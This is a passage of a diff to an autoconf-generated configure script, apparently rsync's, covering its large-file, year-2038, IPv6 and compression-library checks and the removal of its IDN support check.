>&6\n-else case e in #(\n-  e) ac_save_CPPFLAGS=$CPPFLAGS\n-  ac_opt_found=no\n-  for ac_opt in \"none needed\" \"-D_FILE_OFFSET_BITS=64\" \"-D_LARGE_FILES=1\"; do\n-    if test x\"$ac_opt\" != x\"none needed\"\n-then :\n-  CPPFLAGS=\"$ac_save_CPPFLAGS $ac_opt\"\n-fi\n-    cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  ac_cv_sys_largefile_CC=no\n+     if test \"$GCC\" != yes; then\n+       ac_save_CC=$CC\n+       while :; do\n+\t # IRIX 6.2 and later do not support large files by default,\n+\t # so use the C compiler's -n32 option if that helps.\n+\t cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <sys/types.h>\n-#ifndef FTYPE\n-# define FTYPE off_t\n-#endif\n- /* Check that FTYPE can represent 2**63 - 1 correctly.\n-    We can't simply define LARGE_FTYPE to be 9223372036854775807,\n+ /* Check that off_t can represent 2**63 - 1 correctly.\n+    We can't simply define LARGE_OFF_T to be 9223372036854775807,\n     since some C++ compilers masquerading as C compilers\n     incorrectly reject 9223372036854775807.  */\n-#define LARGE_FTYPE (((FTYPE) 1 << 31 << 31) - 1 + ((FTYPE) 1 << 31 << 31))\n-  int FTYPE_is_large[(LARGE_FTYPE % 2147483629 == 721\n-\t\t       && LARGE_FTYPE % 2147483647 == 1)\n+#define LARGE_OFF_T (((off_t) 1 << 31 << 31) - 1 + ((off_t) 1 << 31 << 31))\n+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721\n+\t\t       && LARGE_OFF_T % 2147483647 == 1)\n \t\t      ? 1 : -1];\n int\n main (void)\n@@ -7897,86 +7509,72 @@ main (void)\n   return 0;\n }\n _ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n-then :\n-  if test x\"$ac_opt\" = x\"none needed\"\n-then :\n-  # GNU/Linux s390x and alpha need _FILE_OFFSET_BITS=64 for wide ino_t.\n-\t CPPFLAGS=\"$CPPFLAGS -DFTYPE=ino_t\"\n \t if ac_fn_c_try_compile \"$LINENO\"\n then :\n-\n-else case e in #(\n-  e) CPPFLAGS=\"$CPPFLAGS -D_FILE_OFFSET_BITS=64\"\n-\t    if ac_fn_c_try_compile \"$LINENO\"\n-then :\n-  ac_opt='-D_FILE_OFFSET_BITS=64'\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam ;;\n-esac\n+  break\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam\n+\t CC=\"$CC -n32\"\n+\t if ac_fn_c_try_compile \"$LINENO\"\n+then :\n+  ac_cv_sys_largefile_CC=' -n32'; break\n fi\n-      ac_cv_sys_largefile_opts=$ac_opt\n-      ac_opt_found=yes\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-    test $ac_opt_found = no || break\n-  done\n-  CPPFLAGS=$ac_save_CPPFLAGS\n-\n-  test $ac_opt_found = yes || ac_cv_sys_largefile_opts=\"support not detected\" ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam\n+\t break\n+       done\n+       CC=$ac_save_CC\n+       rm -f conftest.$ac_ext\n+    fi\n fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_largefile_opts\" >&5\n-printf \"%s\\n\" \"$ac_cv_sys_largefile_opts\" >&6; }\n-\n-ac_have_largefile=yes\n-case $ac_cv_sys_largefile_opts in #(\n-  \"none needed\") :\n-     ;; #(\n-  \"supported through gnulib\") :\n-     ;; #(\n-  \"support not detected\") :\n-    ac_have_largefile=no ;; #(\n-  \"-D_FILE_OFFSET_BITS=64\") :\n-\n-printf \"%s\\n\" \"#define _FILE_OFFSET_BITS 64\" >>confdefs.h\n- ;; #(\n-  \"-D_LARGE_FILES=1\") :\n-\n-printf \"%s\\n\" \"#define _LARGE_FILES 1\" >>confdefs.h\n- ;; #(\n-  *) :\n-    as_fn_error $? \"internal error: bad value for \\$ac_cv_sys_largefile_opts\" \"$LINENO\" 5 ;;\n-esac\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_largefile_CC\" >&5\n+printf \"%s\\n\" \"$ac_cv_sys_largefile_CC\" >&6; }\n+  if test \"$ac_cv_sys_largefile_CC\" != no; then\n+    CC=$CC$ac_cv_sys_largefile_CC\n+  fi\n \n-if test \"$enable_year2038\" != no\n-then :\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $CPPFLAGS option for timestamps after 2038\" >&5\n-printf %s \"checking for $CPPFLAGS option for timestamps after 2038... \" >&6; }\n-if test ${ac_cv_sys_year2038_opts+y}\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for _FILE_OFFSET_BITS value needed for large files\" >&5\n+printf %s \"checking for _FILE_OFFSET_BITS value needed for large files... \" >&6; }\n+if test ${ac_cv_sys_file_offset_bits+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_save_CPPFLAGS=\"$CPPFLAGS\"\n-  ac_opt_found=no\n-  for ac_opt in \"none needed\" \"-D_TIME_BITS=64\" \"-D__MINGW_USE_VC2005_COMPAT\" \"-U_USE_32_BIT_TIME_T -D__MINGW_USE_VC2005_COMPAT\"; do\n-    if test x\"$ac_opt\" != x\"none needed\"\n-then :\n-  CPPFLAGS=\"$ac_save_CPPFLAGS $ac_opt\"\n-fi\n-    cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  while :; do\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n+#include <sys/types.h>\n+ /* Check that off_t can represent 2**63 - 1 correctly.\n+    We can't simply define LARGE_OFF_T to be 9223372036854775807,\n+    since some C++ compilers masquerading as C compilers\n+    incorrectly reject 9223372036854775807.  */\n+#define LARGE_OFF_T (((off_t) 1 << 31 << 31) - 1 + ((off_t) 1 << 31 << 31))\n+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721\n+\t\t       && LARGE_OFF_T % 2147483647 == 1)\n+\t\t      ? 1 : -1];\n+int\n+main (void)\n+{\n \n-  #include <time.h>\n-  /* Check that time_t can represent 2**32 - 1 correctly.  */\n-  #define LARGE_TIME_T \\\\\n-    ((time_t) (((time_t) 1 << 30) - 1 + 3 * ((time_t) 1 << 30)))\n-  int verify_time_t_range[(LARGE_TIME_T / 65537 == 65535\n-                           && LARGE_TIME_T % 65537 == 0)\n-                          ? 1 : -1];\n-\n+  ;\n+  return 0;\n+}\n+_ACEOF\n+if ac_fn_c_try_compile \"$LINENO\"\n+then :\n+  ac_cv_sys_file_offset_bits=no; break\n+fi\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+#define _FILE_OFFSET_BITS 64\n+#include <sys/types.h>\n+ /* Check that off_t can represent 2**63 - 1 correctly.\n+    We can't simply define LARGE_OFF_T to be 9223372036854775807,\n+    since some C++ compilers masquerading as C compilers\n+    incorrectly reject 9223372036854775807.  */\n+#define LARGE_OFF_T (((off_t) 1 << 31 << 31) - 1 + ((off_t) 1 << 31 << 31))\n+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721\n+\t\t       && LARGE_OFF_T % 2147483647 == 1)\n+\t\t      ? 1 : -1];\n int\n main (void)\n {\n@@ -7987,47 +7585,95 @@ main (void)\n _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n-  ac_cv_sys_year2038_opts=\"$ac_opt\"\n-      ac_opt_found=yes\n+  ac_cv_sys_file_offset_bits=64; break\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-    test $ac_opt_found = no || break\n-  done\n-  CPPFLAGS=\"$ac_save_CPPFLAGS\"\n-  test $ac_opt_found = yes || ac_cv_sys_year2038_opts=\"support not detected\" ;;\n-esac\n+  ac_cv_sys_file_offset_bits=unknown\n+  break\n+done\n fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_year2038_opts\" >&5\n-printf \"%s\\n\" \"$ac_cv_sys_year2038_opts\" >&6; }\n-\n-ac_have_year2038=yes\n-case $ac_cv_sys_year2038_opts in #(\n-  \"none needed\") :\n-     ;; #(\n-  \"support not detected\") :\n-    ac_have_year2038=no ;; #(\n-  \"-D_TIME_BITS=64\") :\n-\n-printf \"%s\\n\" \"#define _TIME_BITS 64\" >>confdefs.h\n- ;; #(\n-  \"-D__MINGW_USE_VC2005_COMPAT\") :\n-\n-printf \"%s\\n\" \"#define __MINGW_USE_VC2005_COMPAT 1\" >>confdefs.h\n- ;; #(\n-  \"-U_USE_32_BIT_TIME_T\"*) :\n-    { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n-as_fn_error $? \"the 'time_t' type is currently forced to be 32-bit. It\n-will stop working after mid-January 2038. Remove\n-_USE_32BIT_TIME_T from the compiler flags.\n-See 'config.log' for more details\" \"$LINENO\" 5; } ;; #(\n-  *) :\n-    as_fn_error $? \"internal error: bad value for \\$ac_cv_sys_year2038_opts\" \"$LINENO\" 5 ;;\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_file_offset_bits\" >&5\n+printf \"%s\\n\" \"$ac_cv_sys_file_offset_bits\" >&6; }\n+case $ac_cv_sys_file_offset_bits in #(\n+  no | unknown) ;;\n+  *)\n+printf \"%s\\n\" \"#define _FILE_OFFSET_BITS $ac_cv_sys_file_offset_bits\" >>confdefs.h\n+;;\n esac\n+rm -rf conftest*\n+  if test $ac_cv_sys_file_offset_bits = unknown; then\n+    { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for _LARGE_FILES value needed for large files\" >&5\n+printf %s \"checking for _LARGE_FILES value needed for large files... \" >&6; }\n+if test ${ac_cv_sys_large_files+y}\n+then :\n+  printf %s \"(cached) \" >&6\n+else $as_nop\n+  while :; do\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+#include <sys/types.h>\n+ /* Check that off_t can represent 2**63 - 1 correctly.\n+    We can't simply define LARGE_OFF_T to be 9223372036854775807,\n+    since some C++ compilers masquerading as C compilers\n+    incorrectly reject 9223372036854775807.  */\n+#define LARGE_OFF_T (((off_t) 1 << 31 << 31) - 1 + ((off_t) 1 << 31 << 31))\n+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721\n+\t\t       && LARGE_OFF_T % 2147483647 == 1)\n+\t\t      ? 1 : -1];\n+int\n+main (void)\n+{\n \n+  ;\n+  return 0;\n+}\n+_ACEOF\n+if ac_fn_c_try_compile \"$LINENO\"\n+then :\n+  ac_cv_sys_large_files=no; break\n fi\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+#define _LARGE_FILES 1\n+#include <sys/types.h>\n+ /* Check that off_t can represent 2**63 - 1 correctly.\n+    We can't simply define LARGE_OFF_T to be 9223372036854775807,\n+    since some C++ compilers masquerading as C compilers\n+    incorrectly reject 9223372036854775807.  */\n+#define LARGE_OFF_T (((off_t) 1 << 31 << 31) - 1 + ((off_t) 1 << 31 << 31))\n+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721\n+\t\t       && LARGE_OFF_T % 2147483647 == 1)\n+\t\t      ? 1 : -1];\n+int\n+main (void)\n+{\n \n+  ;\n+  return 0;\n+}\n+_ACEOF\n+if ac_fn_c_try_compile \"$LINENO\"\n+then :\n+  ac_cv_sys_large_files=1; break\n fi\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n+  ac_cv_sys_large_files=unknown\n+  break\n+done\n+fi\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_large_files\" >&5\n+printf \"%s\\n\" \"$ac_cv_sys_large_files\" >&6; }\n+case $ac_cv_sys_large_files in #(\n+  no | unknown) ;;\n+  *)\n+printf \"%s\\n\" \"#define _LARGE_FILES $ac_cv_sys_large_files\" >>confdefs.h\n+;;\n+esac\n+rm -rf conftest*\n+  fi\n+fi\n+\n fi\n \n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking whether to enable ipv6\" >&5\n@@ -8047,41 +7693,43 @@ printf \"%s\\n\" \"#define INET6 1\" >>confdefs.h\n \n \t;;\n   esac\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n+else $as_nop\n+  if test \"$cross_compiling\" = yes\n+then :\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n+printf \"%s\\n\" \"no\" >&6; }\n \n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+ /* AF_INET6 availability check */\n+#include <stdlib.h>\n #include <sys/types.h>\n #include <sys/socket.h>\n-#include <netinet/in.h>\n-\n-int\n-main (void)\n+int main()\n {\n-\n-struct sockaddr_in6 sa6;\n-(void)sa6;\n-(void)AF_INET6;\n-\n-  ;\n-  return 0;\n+   if (socket(AF_INET6, SOCK_STREAM, 0) < 0)\n+     exit(1);\n+   else\n+     exit(0);\n }\n+\n _ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n+if ac_fn_c_try_run \"$LINENO\"\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: yes\" >&5\n printf \"%s\\n\" \"yes\" >&6; }\n \n printf \"%s\\n\" \"#define INET6 1\" >>confdefs.h\n \n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n printf \"%s\\n\" \"no\" >&6; }\n- ;;\n-esac\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n+fi\n+\n fi\n \n \n@@ -8122,22 +7770,16 @@ printf %s \"checking for deflateParams in -lz... \" >&6; }\n if test ${ac_cv_lib_z_deflateParams+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lz  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char deflateParams (void);\n+   builtin and then its argument prototype would still apply.  */\n+char deflateParams ();\n int\n main (void)\n {\n@@ -8149,14 +7791,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_z_deflateParams=yes\n-else case e in #(\n-  e) ac_cv_lib_z_deflateParams=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_z_deflateParams=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_z_deflateParams\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_z_deflateParams\" >&6; }\n@@ -8166,9 +7806,8 @@ then :\n \n   LIBS=\"-lz $LIBS\"\n \n-else case e in #(\n-  e) with_included_zlib=yes ;;\n-esac\n+else $as_nop\n+  with_included_zlib=yes\n fi\n \n fi\n@@ -8206,21 +7845,15 @@ printf %s \"checking for library containing EVP_MD_CTX_copy... \" >&6; }\n if test ${ac_cv_search_EVP_MD_CTX_copy+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char EVP_MD_CTX_copy (void);\n+   builtin and then its argument prototype would still apply.  */\n+char EVP_MD_CTX_copy ();\n int\n main (void)\n {\n@@ -8251,13 +7884,11 @@ done\n if test ${ac_cv_search_EVP_MD_CTX_copy+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_EVP_MD_CTX_copy=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_EVP_MD_CTX_copy=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_EVP_MD_CTX_copy\" >&5\n printf \"%s\\n\" \"$ac_cv_search_EVP_MD_CTX_copy\" >&6; }\n@@ -8268,10 +7899,9 @@ then :\n   printf \"%s\\n\" \"#define USE_OPENSSL 1\" >>confdefs.h\n \n \t   enable_openssl=yes\n-else case e in #(\n-  e) err_msg=\"$err_msg$nl- Failed to find EVP_MD_CTX_copy function in openssl crypto lib.\";\n-\t   no_lib=\"$no_lib openssl\" ;;\n-esac\n+else $as_nop\n+  err_msg=\"$err_msg$nl- Failed to find EVP_MD_CTX_copy function in openssl crypto lib.\";\n+\t   no_lib=\"$no_lib openssl\"\n fi\n \n     else\n@@ -8308,7 +7938,7 @@ fi\n \n if test x\"$enable_md5_asm\" != x\"no\"; then\n     if test x\"$host_cpu\" = x\"x86_64\" || test x\"$host_cpu\" = x\"amd64\"; then\n-\tMD5_ASM=\"$asm_cpu\"\n+\tMD5_ASM=\"$host_cpu\"\n     elif test x\"$enable_md5_asm\" = x\"yes\"; then\n         { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unavailable\" >&5\n printf \"%s\\n\" \"unavailable\" >&6; }\n@@ -8347,7 +7977,7 @@ if test x\"$ROLL_SIMD\" = x\"\"; then\n fi\n \n if test x\"$enable_roll_asm\" = x\"yes\"; then\n-    ROLL_ASM=\"$asm_cpu\"\n+    ROLL_ASM=\"$host_cpu\"\n     { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: yes ($ROLL_ASM)\" >&5\n printf \"%s\\n\" \"yes ($ROLL_ASM)\" >&6; }\n \n@@ -8379,21 +8009,15 @@ printf %s \"checking for library containing XXH64_createState... \" >&6; }\n if test ${ac_cv_search_XXH64_createState+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char XXH64_createState (void);\n+   builtin and then its argument prototype would still apply.  */\n+char XXH64_createState ();\n int\n main (void)\n {\n@@ -8424,13 +8048,11 @@ done\n if test ${ac_cv_search_XXH64_createState+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_XXH64_createState=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_XXH64_createState=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_XXH64_createState\" >&5\n printf \"%s\\n\" \"$ac_cv_search_XXH64_createState\" >&6; }\n@@ -8440,10 +8062,9 @@ then :\n   test \"$ac_res\" = \"none required\" || LIBS=\"$ac_res $LIBS\"\n   printf \"%s\\n\" \"#define SUPPORT_XXHASH 1\" >>confdefs.h\n \n-else case e in #(\n-  e) err_msg=\"$err_msg$nl- Failed to find XXH64_createState function in xxhash lib.\";\n-\t     no_lib=\"$no_lib xxhash\" ;;\n-esac\n+else $as_nop\n+  err_msg=\"$err_msg$nl- Failed to find XXH64_createState function in xxhash lib.\";\n+\t     no_lib=\"$no_lib xxhash\"\n fi\n \n     else\n@@ -8475,21 +8096,15 @@ printf %s \"checking for library containing ZSTD_minCLevel... \" >&6; }\n if test ${ac_cv_search_ZSTD_minCLevel+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char ZSTD_minCLevel (void);\n+   builtin and then its argument prototype would still apply.  */\n+char ZSTD_minCLevel ();\n int\n main (void)\n {\n@@ -8520,13 +8135,11 @@ done\n if test ${ac_cv_search_ZSTD_minCLevel+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_ZSTD_minCLevel=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_ZSTD_minCLevel=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_ZSTD_minCLevel\" >&5\n printf \"%s\\n\" \"$ac_cv_search_ZSTD_minCLevel\" >&6; }\n@@ -8536,10 +8149,9 @@ then :\n   test \"$ac_res\" = \"none required\" || LIBS=\"$ac_res $LIBS\"\n   printf \"%s\\n\" \"#define SUPPORT_ZSTD 1\" >>confdefs.h\n \n-else case e in #(\n-  e) err_msg=\"$err_msg$nl- Failed to find ZSTD_minCLevel function in zstd lib.\";\n-\t     no_lib=\"$no_lib zstd\" ;;\n-esac\n+else $as_nop\n+  err_msg=\"$err_msg$nl- Failed to find ZSTD_minCLevel function in zstd lib.\";\n+\t     no_lib=\"$no_lib zstd\"\n fi\n \n     else\n@@ -8571,21 +8183,15 @@ printf %s \"checking for library containing LZ4_compress_default... \" >&6; }\n if test ${ac_cv_search_LZ4_compress_default+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char LZ4_compress_default (void);\n+   builtin and then its argument prototype would still apply.  */\n+char LZ4_compress_default ();\n int\n main (void)\n {\n@@ -8616,13 +8222,11 @@ done\n if test ${ac_cv_search_LZ4_compress_default+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_LZ4_compress_default=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_LZ4_compress_default=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_LZ4_compress_default\" >&5\n printf \"%s\\n\" \"$ac_cv_search_LZ4_compress_default\" >&6; }\n@@ -8632,10 +8236,9 @@ then :\n   test \"$ac_res\" = \"none required\" || LIBS=\"$ac_res $LIBS\"\n   printf \"%s\\n\" \"#define SUPPORT_LZ4 1\" >>confdefs.h\n \n-else case e in #(\n-  e) err_msg=\"$err_msg$nl- Failed to find LZ4_compress_default function in lz4 lib.\";\n-\t     no_lib=\"$no_lib lz4\" ;;\n-esac\n+else $as_nop\n+  err_msg=\"$err_msg$nl- Failed to find LZ4_compress_default function in lz4 lib.\";\n+\t     no_lib=\"$no_lib lz4\"\n fi\n \n     else\n@@ -8649,102 +8252,6 @@ else\n printf \"%s\\n\" \"no\" >&6; }\n fi\n \n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking whether to enable IDN support\" >&5\n-printf %s \"checking whether to enable IDN support... \" >&6; }\n-# Check whether --enable-idn was given.\n-if test ${enable_idn+y}\n-then :\n-  enableval=$enable_idn;\n-fi\n-\n-\n-if test x\"$enable_idn\" != x\"no\"; then\n-    if test x\"$ac_cv_header_idn2_h\" = x\"yes\"; then\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: yes\" >&5\n-printf \"%s\\n\" \"yes\" >&6; }\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for library containing idn2_lookup_ul\" >&5\n-printf %s \"checking for library containing idn2_lookup_ul... \" >&6; }\n-if test ${ac_cv_search_idn2_lookup_ul+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n-cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n-\n-/* Override any GCC internal prototype to avoid an error.\n-   Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char idn2_lookup_ul (void);\n-int\n-main (void)\n-{\n-return idn2_lookup_ul ();\n-  ;\n-  return 0;\n-}\n-_ACEOF\n-for ac_lib in '' idn2\n-do\n-  if test -z \"$ac_lib\"; then\n-    ac_res=\"none required\"\n-  else\n-    ac_res=-l$ac_lib\n-    LIBS=\"-l$ac_lib  $ac_func_search_save_LIBS\"\n-  fi\n-  if ac_fn_c_try_link \"$LINENO\"\n-then :\n-  ac_cv_search_idn2_lookup_ul=$ac_res\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext\n-  if test ${ac_cv_search_idn2_lookup_ul+y}\n-then :\n-  break\n-fi\n-done\n-if test ${ac_cv_search_idn2_lookup_ul+y}\n-then :\n-\n-else case e in #(\n-  e) ac_cv_search_idn2_lookup_ul=no ;;\n-esac\n-fi\n-rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_idn2_lookup_ul\" >&5\n-printf \"%s\\n\" \"$ac_cv_search_idn2_lookup_ul\" >&6; }\n-ac_res=$ac_cv_search_idn2_lookup_ul\n-if test \"$ac_res\" != no\n-then :\n-  test \"$ac_res\" = \"none required\" || LIBS=\"$ac_res $LIBS\"\n-  printf \"%s\\n\" \"#define SUPPORT_IDN 1\" >>confdefs.h\n-\n-else case e in #(\n-  e) err_msg=\"$err_msg$nl- Failed to find idn2_lookup_ul function in idn2 lib.\";\n-\t     no_lib=\"$no_lib idn\" ;;\n-esac\n-fi\n-\n-    else\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n-printf \"%s\\n\" \"no\" >&6; }\n-\terr_msg=\"$err_msg$nl- Failed to find idn2.h for IDN support.\"\n-\tno_lib=\"$no_lib idn\"\n-    fi\n-else\n-    { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n-printf \"%s\\n\" \"no\" >&6; }\n-fi\n-\n if test x\"$no_lib\" != x; then\n     echo \"\"\n     echo \"Configure found the following issues:\"\n@@ -8767,13 +8274,13 @@ printf %s \"checking if makedev takes 3 args... \" >&6; }\n if test ${rsync_cv_MAKEDEV_TAKES_3_ARGS+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_MAKEDEV_TAKES_3_ARGS=no\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #ifdef HAVE_SYS_TYPES_H\n@@ -8800,16 +8307,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_MAKEDEV_TAKES_3_ARGS=yes\n-else case e in #(\n-  e) rsync_cv_MAKEDEV_TAKES_3_ARGS=no ;;\n-esac\n+else $as_nop\n+  